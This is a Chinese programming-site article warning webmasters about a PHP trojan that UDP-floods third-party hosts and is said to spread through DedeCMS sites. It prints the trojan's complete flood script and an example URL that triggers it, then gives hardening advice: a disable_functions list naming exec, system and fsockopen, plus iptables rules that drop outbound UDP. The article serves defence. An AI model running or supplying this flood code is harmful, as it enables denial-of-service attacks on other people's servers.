程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> PHP基礎知識 >> php發送大量UDP攻擊包的警告

php發送大量UDP攻擊包的警告

編輯:PHP基礎知識
 

從2010年到現在基於php發送大量UDP數據包的php木馬相當流行,主要附屬於dedecms(織夢cms)。會導致服務器間歇性斷網,網卡發送大量的數據,導致網絡堵塞,危害較大。這裡特別請求廣大站長別再使用織夢cms發布系統。

RX bytes:28991967155 (28.9 GB) TX bytes:437305805252 (437.3 GB)
織夢系統是基於非安全模式下進行開發,以下的加固方法會直接導致織夢系統的采集功能以及發布等不能正常使用。織夢cms系統調用了很多危險的php系統函數,這些函數會和木馬一樣具有強大的功能。

php的ddos代碼如下:

<?php

$packets = 0;

$ip = $_POST['ip'];

$rand = $_POST['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>
有些版本有“phpddos 僅供教學使用 或者xx是騙子之類的字符”。

可以看出php會隨機發送大小的udp包,請求方式是通過url訪問,以達到攻擊別人的目的。調用了fsockopen函數。

請求的url類似

http://www.cntv.cn/xxx/xx/inc/newfile.php?host=1.2.3.4&port=80&time=1200
針對此類的ddos網絡攻擊我們建議做以下的安全加固:

1.開啟php的安全模式,safe_mod=on

2.關閉函數disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,fsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,fwrite,
fclose

3.fopen allow_url_fopen = Off 關閉php請求遠程url ,這個很多系統裡面有調用,請考慮其他方式實現。

4.通過防火牆丟棄掉udp包

;linux

iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT

iptables -A OUTPUT -p udp -j DROP
windows請用ipsec做以處理
5.這裡再次呼吁廣大站長請勿再繼續試用織夢cms發布系統,此系統極為不安全。

 

 

 

dedecms 木馬

 
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved